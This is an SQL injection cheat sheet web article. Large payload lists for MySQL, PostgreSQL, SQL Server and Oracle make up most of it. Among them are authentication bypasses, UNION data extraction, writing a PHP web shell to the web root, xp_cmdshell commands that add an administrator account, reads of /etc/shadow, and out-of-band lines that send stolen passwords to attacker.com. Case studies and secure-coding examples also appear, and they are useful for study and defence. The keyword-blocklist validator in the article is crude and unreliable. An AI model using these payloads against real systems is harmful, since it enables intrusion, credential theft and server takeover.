SQL Injection Cheat Sheet
SQL Injection (SQLi) is one of the oldest yet most effective vulnerabilities in web application security. It occurs when user input is directly inserted into SQL queries without proper validation or sanitization, allowing attackers to manipulate the database — from bypassing logins to dumping sensitive data or even gaining full control of the backend.
This SQL Injection Cheat Sheet is designed for ethical hackers, penetration testers, and bug bounty hunters. It provides a quick reference to practical payloads, error-based and blind SQLi techniques, WAF bypass methods, and advanced exploitation tricks — all in one place for efficient testing and learning.
What is SQL Injection?
SQL Injection represents one of the most critical security vulnerabilities in modern web applications, consistently ranking within the OWASP Top 10 security risks. This sophisticated attack technique involves injecting malicious SQL code into application databases through vulnerable input fields, potentially compromising entire systems and exposing sensitive data to unauthorized access.
Read Also: Complete Nmap Commands Cheat Sheet 2025 + PDF
Technical Definition
SQL Injection is a code injection technique that exploits security vulnerabilities in database-driven applications. Attackers leverage improperly validated user inputs to inject malicious SQL statements into application queries, enabling them to:
- Bypass authentication mechanisms
- Extract sensitive database information
- Modify or delete critical data
- Execute administrative operations
- Gain unauthorized system access
Root Causes of SQL Injection Vulnerabilities
The fundamental causes of SQL injection vulnerabilities include:
- Insufficient Input Validation: Applications fail to properly validate and sanitize user inputs
- Dynamic Query Construction: SQL queries built using string concatenation with user input
- Inadequate Error Handling: Database errors exposed to end users reveal system information
- Excessive Database Privileges: Application database users granted unnecessary permissions
- Lack of Security Awareness: Developers insufficient training in secure coding practices
Business Impact Assessment
Organizations face severe consequences when SQL injection vulnerabilities are exploited:
Financial Implications:
- Direct monetary losses from data breaches
- Regulatory fines and legal penalties
- Business continuity disruption costs
- Brand reputation damage and customer loss
Operational Consequences:
- System downtime and service interruptions
- Data integrity compromise
- Unauthorized access to proprietary information
- Compliance violations and audit failures
SQL Injection Attack Types
1. In-Band SQL Injection
In-band SQL injection represents the most common attack vector where attackers use the same communication channel for both launching attacks and gathering results.
Error-Based SQL Injection
Error-based attacks exploit database error messages to extract information about the underlying database structure.
Attack Methodology:
SQL Injection Example
-- Vulnerable Query
SELECT * FROM users WHERE id = '$user_id'
-- Malicious Input
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0 --
-- Resulting Query
SELECT * FROM users WHERE id = '1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>0 --'
Union-Based SQL Injection
Union-based attacks leverage the SQL UNION operator to combine results from multiple SELECT statements.
Technical Implementation:
SQL Union Based Injection
-- Column Number Detection
1' UNION SELECT NULL --
1' UNION SELECT NULL,NULL --
1' UNION SELECT NULL,NULL,NULL --
-- Data Extraction
1' UNION SELECT username,password,email FROM users --
1' UNION SELECT table_name,column_name,data_type FROM information_schema.columns --
2. Inferential SQL Injection (Blind)
Blind SQL injection attacks occur when applications are vulnerable but do not display database errors or data directly to attackers.
Boolean-Based Blind SQL Injection
Attackers infer information based on application responses to true/false conditions.
Attack Pattern:
SQL Boolean Based Injection
-- True Condition Test
1' AND (SELECT COUNT(*) FROM users) > 0 --
-- False Condition Test
1' AND (SELECT COUNT(*) FROM users) = 0 --
-- Character-by-Character Extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1) = 'a' --
Time-Based Blind SQL Injection
Time-based attacks measure application response times to infer database information.
Implementation Examples:
SQL Time Based Injection
-- MySQL Time Delay
1' AND (SELECT SLEEP(10)) --
-- PostgreSQL Time Delay
1' AND (SELECT pg_sleep(10)) --
-- SQL Server Time Delay
1'; WAITFOR DELAY '00:00:10' --
-- Oracle Time Delay
1' AND (SELECT dbms_lock.sleep(10) FROM dual) --
3. Out-of-Band SQL Injection
Out-of-band attacks use alternative communication channels to extract data when in-band methods are not viable.
Read Also: Complete 2025 Best Python Cheat Sheet
DNS Exfiltration Example:
SQL Out-of-Band Injection
-- DNS-based Data Extraction
1' AND (SELECT load_file(concat('\\\\\\\\', (SELECT password FROM users WHERE id=1), '.attacker.com\\\\share'))) --
-- HTTP-based Data Extraction
1' AND (SELECT load_file(concat('http://attacker.com/collect.php?data=', (SELECT password FROM users WHERE id=1)))) --
SQL Injection Examples
Example 1: Authentication Bypass
Vulnerable Authentication System:
PHP Vulnerable Authentication Code
// Vulnerable PHP Authentication
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful";
} else {
echo "Invalid credentials";
}
Attack Execution:
SQL Injection Attack Demonstration
-- Attack Input
Username: admin' OR '1'='1' --
Password: [anything]
-- Resulting Query
SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = '[anything]'
-- Query Evaluation
-- The condition '1'='1' is always true, bypassing authentication
Example 2: Data Extraction Attack
Vulnerable Search Function:
PHP Vulnerable Product Search
// Vulnerable Product Search
$search_term = $_GET['search'];
$query = "SELECT * FROM products WHERE name LIKE '%$search_term%'";
$result = mysqli_query($connection, $query);
Attack Implementation:
Search Attack Payload Demonstration
-- Attack Payload
search=' UNION SELECT table_name,column_name,data_type FROM information_schema.columns --
-- Resulting Query
SELECT * FROM products WHERE name LIKE '%' UNION SELECT table_name,column_name,data_type FROM information_schema.columns --%'
-- Attack Outcome
-- Reveals complete database structure information
Example 3: Privilege Escalation
Vulnerable Administrative Function:
PHP Vulnerable User Management
// Vulnerable User Management
$user_id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $user_id";
$result = mysqli_query($connection, $query);
Attack Sequence:
Multi-Stage SQL Injection Attack
-- Stage 1: Information Gathering
id=1 UNION SELECT username,password,role FROM users WHERE role='admin' --
-- Stage 2: Privilege Escalation
id=1; UPDATE users SET role='admin' WHERE username='attacker' --
-- Stage 3: System Access
id=1; INSERT INTO users (username,password,role) VALUES ('backdoor','hash','admin') --
Example 4: File System Manipulation
Advanced File Operations:
SQL Injection File Operations
-- Reading System Files
1' UNION SELECT LOAD_FILE('/etc/passwd') --
-- Writing Web Shell
1' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
SELECT username,password FROM users INTO OUTFILE '/tmp/users.txt';
-- Using DUMPFILE for binary data
SELECT 0x3c3f70687020706870696e666f28293b203f3e INTO DUMPFILE '/var/www/html/info.php';
MySQL-Specific Functions
SQL Injection Useful Functions
-- String manipulation
SELECT SUBSTRING('password', 1, 4);
SELECT MID('password', 1, 4);
SELECT LEFT('password', 4);
SELECT RIGHT('password', 4);
SELECT CONCAT('user', ':', 'pass');
SELECT GROUP_CONCAT(username SEPARATOR ':');
-- Mathematical functions
SELECT ASCII('A');
SELECT CHAR(65);
SELECT HEX('admin');
SELECT UNHEX('61646d696e');
SELECT BIN(255);
SELECT OCT(255);
-- Conditional functions
SELECT IF(1=1, 'true', 'false');
SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END;
SELECT NULLIF(1, 1);
SELECT COALESCE(NULL, 'default');
-- Time functions
SELECT NOW();
SELECT SLEEP(5);
SELECT BENCHMARK(1000000, MD5('test'));
2. PostgreSQL-Specific Techniques
PostgreSQL System Information
PostgreSQL Enumeration Functions
-- Version and system information
SELECT version();
SELECT current_database();
SELECT current_user;
SELECT session_user;
SELECT user;
SELECT current_schema();
SELECT inet_server_addr();
SELECT inet_server_port();
SELECT pg_backend_pid();
-- Database enumeration
SELECT datname FROM pg_database;
SELECT schemaname FROM pg_tables;
SELECT tablename FROM pg_tables WHERE schemaname = 'public';
SELECT column_name FROM information_schema.columns WHERE table_name = 'users';
PostgreSQL File Operations
PostgreSQL File Operations
-- Reading files (requires superuser)
SELECT pg_read_file('/etc/passwd');
SELECT pg_read_file('pg_hba.conf');
SELECT pg_read_binary_file('/etc/shadow');
-- Directory listing
SELECT pg_ls_dir('/tmp');
SELECT pg_ls_dir('/var/log');
-- File statistics
SELECT pg_stat_file('/etc/passwd');
PostgreSQL-Specific Functions
PostgreSQL String & Utility Functions
-- String functions
SELECT substring('password', 1, 4);
SELECT position('pass' in 'password');
SELECT split_part('user:pass', ':', 1);
SELECT regexp_replace('password', 'pass', 'word');
-- Conversion functions
SELECT ascii('A');
SELECT chr(65);
SELECT encode('admin', 'hex');
SELECT decode('61646d696e', 'hex');
SELECT encode('admin', 'base64');
SELECT decode('YWRtaW4=', 'base64');
-- Array functions
SELECT array_to_string(array['user', 'pass'], ':');
SELECT string_to_array('user:pass', ':');
-- Time functions
SELECT now();
SELECT pg_sleep(5);
SELECT extract(epoch from now());
3. SQL Server-Specific Techniques
SQL Server System Information
SQL Server Enumeration Functions
-- Version and system information
SELECT @@version;
SELECT @@servername;
SELECT @@servicename;
SELECT db_name();
SELECT user_name();
SELECT system_user;
SELECT suser_name();
SELECT host_name();
SELECT @@language;
-- Database enumeration
SELECT name FROM master.dbo.sysdatabases;
SELECT name FROM sys.databases;
SELECT name FROM sysobjects WHERE xtype = 'U';
SELECT name FROM sys.tables;
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'users');
SQL Server Extended Stored Procedures
SQL Server System Operations
-- Command execution
EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'net user hacker password123 /add';
EXEC xp_cmdshell 'net localgroup administrators hacker /add';
-- Registry operations
EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName';
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'TestValue', 'REG_SZ', 'TestData';
-- File operations
EXEC xp_dirtree 'C:\', 1, 1;
EXEC xp_fileexist 'C:\Windows\System32\cmd.exe';
-- Network operations
EXEC xp_getnetname;
EXEC xp_servicecontrol 'start', 'schedule';
SQL Server-Specific Functions
SQL Server String & Utility Functions
-- String functions
SELECT SUBSTRING('password', 1, 4);
SELECT CHARINDEX('pass', 'password');
SELECT LEFT('password', 4);
SELECT RIGHT('password', 4);
SELECT REVERSE('password');
SELECT STUFF('password', 1, 4, 'word');
-- Conversion functions
SELECT ASCII('A');
SELECT CHAR(65);
SELECT CONVERT(varbinary, 'admin');
SELECT CAST('admin' AS varbinary);
-- Time functions
SELECT GETDATE();
SELECT WAITFOR DELAY '00:00:05';
SELECT DATEDIFF(second, '1970-01-01', GETDATE());
4. Oracle-Specific Techniques
Oracle System Information
Oracle Enumeration Functions
-- Version and system information
SELECT banner FROM v$version;
SELECT user FROM dual;
SELECT sys_context('userenv', 'current_user') FROM dual;
SELECT sys_context('userenv', 'session_user') FROM dual;
SELECT sys_context('userenv', 'database_name') FROM dual;
SELECT sys_context('userenv', 'server_host') FROM dual;
-- Database enumeration
SELECT table_name FROM all_tables;
SELECT table_name FROM user_tables;
SELECT column_name FROM all_tab_columns WHERE table_name = 'USERS';
SELECT owner, table_name FROM all_tables WHERE owner = 'HR';
Oracle PL/SQL Injection
Oracle PL/SQL Advanced Operations
-- Dynamic SQL execution
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC';
END;
-- Cursor manipulation
DECLARE
c SYS_REFCURSOR;
output VARCHAR2(4000);
BEGIN
OPEN c FOR 'SELECT password FROM users WHERE username = ''admin''';
FETCH c INTO output;
DBMS_OUTPUT.PUT_LINE(output);
END;
-- Exception handling exploitation
BEGIN
SELECT password INTO :output FROM users WHERE username = 'admin';
EXCEPTION
WHEN NO_DATA_FOUND THEN
SELECT 'No data found' INTO :output FROM dual;
END;
Oracle-Specific Functions
Oracle String & Utility Functions
-- String functions
SELECT SUBSTR('password', 1, 4) FROM dual;
SELECT INSTR('password', 'pass') FROM dual;
SELECT LENGTH('password') FROM dual;
SELECT UPPER('password') FROM dual;
SELECT LOWER('PASSWORD') FROM dual;
SELECT CONCAT('user', 'pass') FROM dual;
-- Conversion functions
SELECT ASCII('A') FROM dual;
SELECT CHR(65) FROM dual;
SELECT RAWTOHEX('admin') FROM dual;
SELECT HEXTORAW('61646d696e') FROM dual;
SELECT UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW('admin'))) FROM dual;
-- Date/time functions
SELECT SYSDATE FROM dual;
SELECT SYSTIMESTAMP FROM dual;
SELECT EXTRACT(YEAR FROM SYSDATE) FROM dual;
Real-World Case Studies
Case Study 1: Heartland Payment Systems (2008)
Attack Overview
- Target: Heartland Payment Systems
- Impact: 130 million payment card records compromised
- Financial Loss: Over $200 million
- Attack Vector: SQL injection vulnerability in web application
- Duration: 2007-2008 (undetected for months)
Technical Analysis
SQL Injection Attack Scenario
-- Initial vulnerability exploitation
-- Vulnerable web application parameter
GET /search.php?product_id=1
-- SQL injection payload
GET /search.php?product_id=1' UNION SELECT @@version,database(),user()--
-- Database enumeration
GET /search.php?product_id=1' UNION SELECT table_name FROM information_schema.tables--
-- Sensitive data extraction
GET /search.php?product_id=1' UNION SELECT card_number,expiry_date,cvv FROM payment_cards--
Attack Progression
- Initial Access: SQL injection in customer-facing web application
- Reconnaissance: Database structure enumeration
- Privilege Escalation: Exploiting database user permissions
- Lateral Movement: Accessing internal network segments
- Data Exfiltration: Systematic extraction of payment card data
- Persistence: Installing malware for continued access
Lessons Learned
- Implement comprehensive input validation
- Use parameterized queries exclusively
- Deploy database activity monitoring
- Segment network architecture
- Establish incident response procedures
Case Study 2: Sony Pictures Entertainment (2011)
Attack Overview
- Target: Sony Pictures Entertainment
- Impact: 1 million user accounts compromised
- Data Exposed: Personal information, passwords, email addresses
- Root Cause: Multiple SQL injection vulnerabilities
- Public Disclosure: High-profile media coverage
Technical Details
Authentication Bypass Attack Scenario
-- Vulnerable login mechanism
SELECT user_id, username, password FROM users WHERE username = '$username' AND password = '$password'
-- Authentication bypass payload
username: admin' OR '1'='1' --
password: [anything]
-- Resulting query
SELECT user_id, username, password FROM users WHERE username = 'admin' OR '1'='1' --' AND password = '[anything]'
-- Data extraction payload
username: ' UNION SELECT username,password,email FROM users--
password: [anything]
Security Failures
- Unvalidated user input in authentication system
- Weak password hashing (plaintext storage)
- Insufficient database access controls
- Lack of intrusion detection systems
- Inadequate security testing procedures
Remediation Measures
Secure Authentication Implementation
// Secure authentication implementation
class SecureAuthentication {
private $pdo;
public function authenticateUser($username, $password) {
// Input validation
if (!$this->validateInput($username, $password)) {
return false;
}
// Parameterized query
$stmt = $this->pdo->prepare("SELECT user_id, username, password_hash FROM users WHERE username = ? AND active = 1");
$stmt->execute([$username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password_hash'])) {
return $user;
}
return false;
}
private function validateInput($username, $password) {
// Length validation
if (strlen($username) > 50 || strlen($password) > 100) {
return false;
}
// Character validation
if (!preg_match('/^[a-zA-Z0-9_-]+$/', $username)) {
return false;
}
return true;
}
}
Case Study 3: TalkTalk (2015)
Attack Overview
- Target: TalkTalk (UK telecommunications company)
- Impact: 4 million customer records at risk
- Data Compromised: Names, addresses, phone numbers, bank details
- Attack Method: SQL injection through website contact form
- Regulatory Fine: £400,000 by Information Commissioner's Office
Technical Analysis
Contact Form SQL Injection Attack
-- Vulnerable contact form processing
INSERT INTO contact_messages (name, email, message) VALUES ('$name', '$email', '$message')
-- SQL injection payload in message field
message: '; DROP TABLE users; --
-- Data extraction payload
message: '; SELECT name,email,phone FROM customers; --
-- Union-based extraction
message: test' UNION SELECT customer_id,bank_account,sort_code FROM financial_data--
Attack Timeline
- Reconnaissance: Automated scanning of web application
- Vulnerability Discovery: SQL injection in contact form
- Exploitation: Systematic database enumeration
- Data Extraction: Customer and financial data theft
- Public Disclosure: Company announcement of breach
- Regulatory Investigation: ICO investigation and fine
Prevention Strategies
Secure Contact Form Implementation
# Secure contact form implementation
class SecureContactForm:
def __init__(self, db_connection):
self.db = db_connection
def process_contact_form(self, name, email, message):
# Input validation
if not self.validate_inputs(name, email, message):
raise ValueError("Invalid input data")
# Sanitization
name = self.sanitize_input(name)
email = self.sanitize_input(email)
message = self.sanitize_input(message)
# Parameterized query
cursor = self.db.cursor()
cursor.execute(
"INSERT INTO contact_messages (name, email, message, created_at) VALUES (?, ?, ?, ?)",
(name, email, message, datetime.now())
)
self.db.commit()
return cursor.lastrowid
def validate_inputs(self, name, email, message):
# Length validation
if len(name) > 100 or len(email) > 200 or len(message) > 2000:
return False
# Email validation
if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
return False
# Character validation
for field in [name, message]:
if any(char in field for char in "';\"\\<>"):
return False
return True
def sanitize_input(self, input_string):
# Remove dangerous characters
dangerous_chars = "';\"\\<>{}[]"
for char in dangerous_chars:
input_string = input_string.replace(char, "")
return input_string.strip()
SQL Injection Cheat Sheet
MySQL SQL Injection Reference
System Information Extraction
SQL Injection Information Gathering
-- Database Version
' UNION SELECT @@version --
' UNION SELECT version() --
-- Current Database
' UNION SELECT database() --
-- Current User
' UNION SELECT user() --
' UNION SELECT current_user() --
-- System User
' UNION SELECT system_user() --
-- Database List
' UNION SELECT schema_name FROM information_schema.schemata --
-- Table Enumeration
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --
-- Column Discovery
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
Advanced Data Extraction
SQL Injection Data Extraction & Manipulation
-- String Concatenation
' UNION SELECT CONCAT(username,':',password) FROM users --
-- Conditional Data Extraction
' UNION SELECT IF(1=1, 'true', 'false') --
-- Hexadecimal Conversion
' UNION SELECT HEX(password) FROM users --
-- Base64 Encoding
' UNION SELECT TO_BASE64(sensitive_data) FROM confidential --
-- Character Extraction
' UNION SELECT SUBSTRING(password,1,1) FROM users WHERE id=1 --
File System Operations
SQL Injection File Operations & System Interaction
-- File Reading
' UNION SELECT LOAD_FILE('/etc/passwd') --
' UNION SELECT LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts') --
-- File Writing
' UNION SELECT 'malicious_content' INTO OUTFILE '/tmp/test.txt' --
' UNION SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/info.php' --
-- Directory Listing (MySQL UDF)
' UNION SELECT sys_eval('ls -la /tmp') --
PostgreSQL SQL Injection Reference
System Information
PostgreSQL SQL Injection Payloads
-- Version Information
' UNION SELECT version() --
-- Current Database
' UNION SELECT current_database() --
-- Current User
' UNION SELECT current_user --
-- Database List
' UNION SELECT datname FROM pg_database --
-- Table Enumeration
' UNION SELECT tablename FROM pg_tables --
-- Column Discovery
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
Advanced PostgreSQL Techniques
PostgreSQL Advanced Exploitation Payloads
-- Function Execution
' UNION SELECT pg_read_file('/etc/passwd') --
-- Command Execution (with appropriate privileges)
' UNION SELECT pg_ls_dir('/tmp') --
-- Time-based Attacks
' UNION SELECT pg_sleep(10) --
-- Large Object Manipulation
' UNION SELECT lo_import('/etc/passwd') --
SQL Server SQL Injection Reference
System Information
SQL Server (MSSQL) SQL Injection Payloads
-- Version Information
' UNION SELECT @@version --
-- Current Database
' UNION SELECT db_name() --
-- Current User
' UNION SELECT system_user --
' UNION SELECT user_name() --
-- Database List
' UNION SELECT name FROM master.dbo.sysdatabases --
-- Table Enumeration
' UNION SELECT name FROM sysobjects WHERE xtype='U' --
-- Column Discovery
' UNION SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users') --
Advanced SQL Server Techniques
SQL Server Advanced Exploitation Payloads
-- Extended Stored Procedures
' UNION SELECT null; EXEC xp_cmdshell('dir') --
-- Registry Operations
' UNION SELECT null; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion','ProductName' --
-- File System Access
' UNION SELECT null; EXEC xp_dirtree 'C:\\' --
-- Service Operations
' UNION SELECT null; EXEC xp_servicecontrol 'start','schedule' --
Oracle SQL Injection Reference
System Information
Oracle SQL Injection Payloads
-- Version Information
' UNION SELECT banner FROM v$version --
-- Current Database
' UNION SELECT ora_database_name FROM dual --
-- Current User
' UNION SELECT user FROM dual --
-- Table Enumeration
' UNION SELECT table_name FROM user_tables --
-- Column Discovery
' UNION SELECT column_name FROM user_tab_columns WHERE table_name='USERS' --
Advanced Oracle Techniques
Oracle Advanced Exploitation Payloads
-- PL/SQL Execution
'; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; END; --
-- File Operations
' UNION SELECT utl_file.get_line('DIRECTORY','filename') FROM dual --
-- HTTP Requests
' UNION SELECT utl_http.request('http://attacker.com/collect.php?data='||password) FROM users --
-- XML Processing
' UNION SELECT extractvalue(xmltype('<?xml version="1.0"?><!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>'),'/root') FROM dual --
SQL Injection Prevention
1. Parameterized Queries Implementation
Parameterized queries represent the most effective defense against SQL injection attacks by separating SQL code from user data.
PHP Implementation with PDO
Secure Database Implementation
class SecureDatabase {
private $pdo;
public function __construct($dsn, $username, $password) {
try {
$this->pdo = new PDO($dsn, $username, $password, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false,
PDO::ATTR_STRINGIFY_FETCHES => false
]);
} catch (PDOException $e) {
throw new Exception("Database connection failed: " . $e->getMessage());
}
}
public function authenticateUser($username, $password) {
$stmt = $this->pdo->prepare("SELECT id, username, password_hash, role FROM users WHERE username = ? AND active = 1");
$stmt->execute([$username]);
$user = $stmt->fetch();
if ($user && password_verify($password, $user['password_hash'])) {
return $user;
}
return false;
}
public function searchProducts($keyword, $category, $limit = 10) {
$stmt = $this->pdo->prepare("
SELECT id, name, description, price
FROM products
WHERE name LIKE ? AND category = ?
ORDER BY name
LIMIT ?
");
$stmt->execute([
'%' . $keyword . '%',
$category,
$limit
]);
return $stmt->fetchAll();
}
}
Java Implementation with PreparedStatement
Java Secure Database Access Implementation
public class SecureDatabaseAccess {
private Connection connection;
public SecureDatabaseAccess(String url, String username, String password)
throws SQLException {
this.connection = DriverManager.getConnection(url, username, password);
}
public User authenticateUser(String username, String password)
throws SQLException {
String sql = "SELECT id, username, password_hash, role FROM users WHERE username = ? AND active = 1";
try (PreparedStatement stmt = connection.prepareStatement(sql)) {
stmt.setString(1, username);
try (ResultSet rs = stmt.executeQuery()) {
if (rs.next()) {
User user = new User();
user.setId(rs.getInt("id"));
user.setUsername(rs.getString("username"));
user.setPasswordHash(rs.getString("password_hash"));
user.setRole(rs.getString("role"));
// Verify password using secure hashing
if (BCrypt.checkpw(password, user.getPasswordHash())) {
return user;
}
}
}
}
return null;
}
public List<Product> searchProducts(String keyword, String category, int limit)
throws SQLException {
String sql = "SELECT id, name, description, price FROM products WHERE name LIKE ? AND category = ? ORDER BY name LIMIT ?";
try (PreparedStatement stmt = connection.prepareStatement(sql)) {
stmt.setString(1, "%" + keyword + "%");
stmt.setString(2, category);
stmt.setInt(3, limit);
try (ResultSet rs = stmt.executeQuery()) {
List<Product> products = new ArrayList<>();
while (rs.next()) {
Product product = new Product();
product.setId(rs.getInt("id"));
product.setName(rs.getString("name"));
product.setDescription(rs.getString("description"));
product.setPrice(rs.getBigDecimal("price"));
products.add(product);
}
return products;
}
}
}
}
Python Implementation with SQLAlchemy
Python SQLAlchemy Secure Database Implementation
from sqlalchemy import create_engine, text
from sqlalchemy.orm import sessionmaker
from werkzeug.security import check_password_hash
import logging
class SecureDatabase:
def __init__(self, connection_string):
self.engine = create_engine(
connection_string,
echo=False,
pool_pre_ping=True,
pool_recycle=3600
)
self.Session = sessionmaker(bind=self.engine)
def authenticate_user(self, username, password):
"""Secure user authentication with parameterized queries"""
session = self.Session()
try:
# Use parameterized query to prevent SQL injection
query = text("SELECT id, username, password_hash, role FROM users WHERE username = :username AND active = 1")
result = session.execute(query, {"username": username})
user = result.fetchone()
if user and check_password_hash(user.password_hash, password):
return {
'id': user.id,
'username': user.username,
'role': user.role
}
return None
except Exception as e:
logging.error(f"Authentication error: {e}")
return None
finally:
session.close()
def search_products(self, keyword, category, limit=10):
"""Secure product search with input validation"""
session = self.Session()
try:
# Validate input parameters
if not isinstance(limit, int) or limit <= 0 or limit > 100:
limit = 10
query = text("""
SELECT id, name, description, price
FROM products
WHERE name LIKE :keyword AND category = :category
ORDER BY name
LIMIT :limit
""")
result = session.execute(query, {
"keyword": f"%{keyword}%",
"category": category,
"limit": limit
})
return [dict(row) for row in result.fetchall()]
except Exception as e:
logging.error(f"Search error: {e}")
return []
finally:
session.close()
2. Input Validation and Sanitization
Comprehensive input validation serves as a critical defense layer against SQL injection attacks.
Advanced Input Validation Framework
PHP Secure Input Validator Implementation
<?php
class InputValidator {
private static $patterns = [
'id' => '/^[1-9]\d*$/',
'username' => '/^[a-zA-Z0-9_-]{3,20}$/',
'email' => '/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/',
'alphanumeric' => '/^[a-zA-Z0-9\s]+$/',
'safe_string' => '/^[a-zA-Z0-9\s\-_.,!?]+$/'
];
private static $sql_keywords = [
'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'DROP', 'CREATE', 'ALTER',
'UNION', 'OR', 'AND', 'WHERE', 'FROM', 'INTO', 'VALUES', 'SET',
'EXEC', 'EXECUTE', 'SCRIPT', 'DECLARE', 'CAST', 'CONVERT'
];
public static function validateInput($input, $type, $maxLength = null) {
// Null and empty checks
if ($input === null || $input === '') {
throw new InvalidArgumentException("Input cannot be null or empty");
}
// Length validation
if ($maxLength && strlen($input) > $maxLength) {
throw new InvalidArgumentException("Input exceeds maximum length");
}
// Pattern validation
if (isset(self::$patterns[$type])) {
if (!preg_match(self::$patterns[$type], $input)) {
throw new InvalidArgumentException("Invalid input format for type: $type");
}
}
// SQL injection detection
$upperInput = strtoupper($input);
foreach (self::$sql_keywords as $keyword) {
if (strpos($upperInput, $keyword) !== false) {
throw new SecurityException("Potential SQL injection detected");
}
}
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
// Example usage with error handling
try {
$userId = InputValidator::validateInput($_GET['user_id'] ?? '', 'id');
if (!$userId) {
http_response_code(400);
exit('Invalid user ID');
}
// Check rate limit
$clientIP = $_SERVER['REMOTE_ADDR'] ?? '';
if (!RateLimiter::checkLimit($clientIP)) {
http_response_code(429);
exit('Too many requests');
}
// Proceed with secure database operations
echo htmlspecialchars("User ID: $userId", ENT_QUOTES, 'UTF-8');
} catch (Exception $e) {
error_log("Application error: " . $e->getMessage());
http_response_code(500);
exit('Internal server error');
}
?>
SQL Injection Payloads
Authentication Bypass Payloads
Universal Authentication Bypass
Advanced SQL Injection Patterns Database
-- Basic OR-based bypass
' OR '1'='1
' OR 1=1 --
' OR 'a'='a
' OR ''='
admin' --
admin'/*
' OR 1=1#
' OR 1=1;%00
' OR 1=1 LIMIT 1 --
' OR 1=1 ORDER BY 1 --
-- Advanced bypass techniques
') OR '1'='1
') OR ('1'='1
')) OR (('1'='1
'))) OR ((('1'='1
' OR '1'='1' --
' OR '1'='1' /*
' OR '1'='1' #
' OR '1'='1';%00
-- Null byte injection
admin'%00
admin'%00--
' OR 1=1%00
' OR 1=1;%00
-- Boolean-based bypass
' OR 1=1 AND '1'='1
' OR 1=1 AND 1=1 --
' OR 'admin'='admin
' OR true --
' OR 1 --
' OR 1=1 UNION SELECT 1 --
-- Time-based bypass
' OR SLEEP(1) --
' OR pg_sleep(1) --
'; WAITFOR DELAY '00:00:01' --
' OR BENCHMARK(1000000,MD5(1)) --
Database-Specific Bypass Payloads
Database-Specific SQL Injection Patterns
-- MySQL-specific
' OR 1=1 LIMIT 1 --
' OR '1'='1' LIMIT 1 --
admin' OR '1'='1' LIMIT 1 --
' OR 1=1 INTO OUTFILE '/tmp/test.txt' --
' OR 1=1 UNION SELECT @@version --
-- PostgreSQL-specific
' OR 1=1 LIMIT 1 --
' OR '1'='1' LIMIT 1 --
' OR 1=1 OFFSET 0 --
' OR 1=1 AND 1=1 --
' OR current_user='admin' --
-- SQL Server-specific
' OR 1=1 --
' OR '1'='1' --
admin' OR '1'='1' --
' OR 1=1; --
' OR 1=1 SELECT @@version --
-- Oracle-specific
' OR '1'='1
' OR 1=1 --
' OR 'admin'='admin
' OR 1=1 AND ROWNUM=1 --
' OR 1=1 UNION SELECT null FROM dual --
Data Extraction Payloads
Information Schema Exploitation
🔍 SQL Information Gathering & Enumeration Patterns
-- Database enumeration
' UNION SELECT schema_name,null,null FROM information_schema.schemata --
' UNION SELECT database(),version(),user() --
' UNION SELECT @@version,@@datadir,@@hostname --
-- Table enumeration
' UNION SELECT table_name,table_schema,null FROM information_schema.tables --
' UNION SELECT table_name,null,null FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT table_name,table_type,table_comment FROM information_schema.tables --
-- Column enumeration
' UNION SELECT column_name,data_type,column_comment FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT column_name,is_nullable,column_default FROM information_schema.columns WHERE table_schema=database() --
-- Advanced information gathering
' UNION SELECT user(),current_user(),system_user() --
' UNION SELECT @@hostname,@@version_comment,@@socket --
' UNION SELECT user,host,password FROM mysql.user --
Data Exfiltration Techniques
📊 SQL Data Extraction Patterns
-- Basic data extraction
' UNION SELECT username,password,email FROM users --
' UNION SELECT id,username,password FROM users WHERE role='admin' --
' UNION SELECT * FROM users WHERE id=1 --
-- String concatenation
' UNION SELECT CONCAT(username,':',password),null,null FROM users --
' UNION SELECT CONCAT(first_name,' ',last_name),email,phone FROM users --
' UNION SELECT GROUP_CONCAT(username SEPARATOR ','),null,null FROM users --
-- Conditional data extraction
' UNION SELECT IF(1=1,'admin','user'),null,null --
' UNION SELECT CASE WHEN 1=1 THEN 'admin' ELSE 'user' END,null,null --
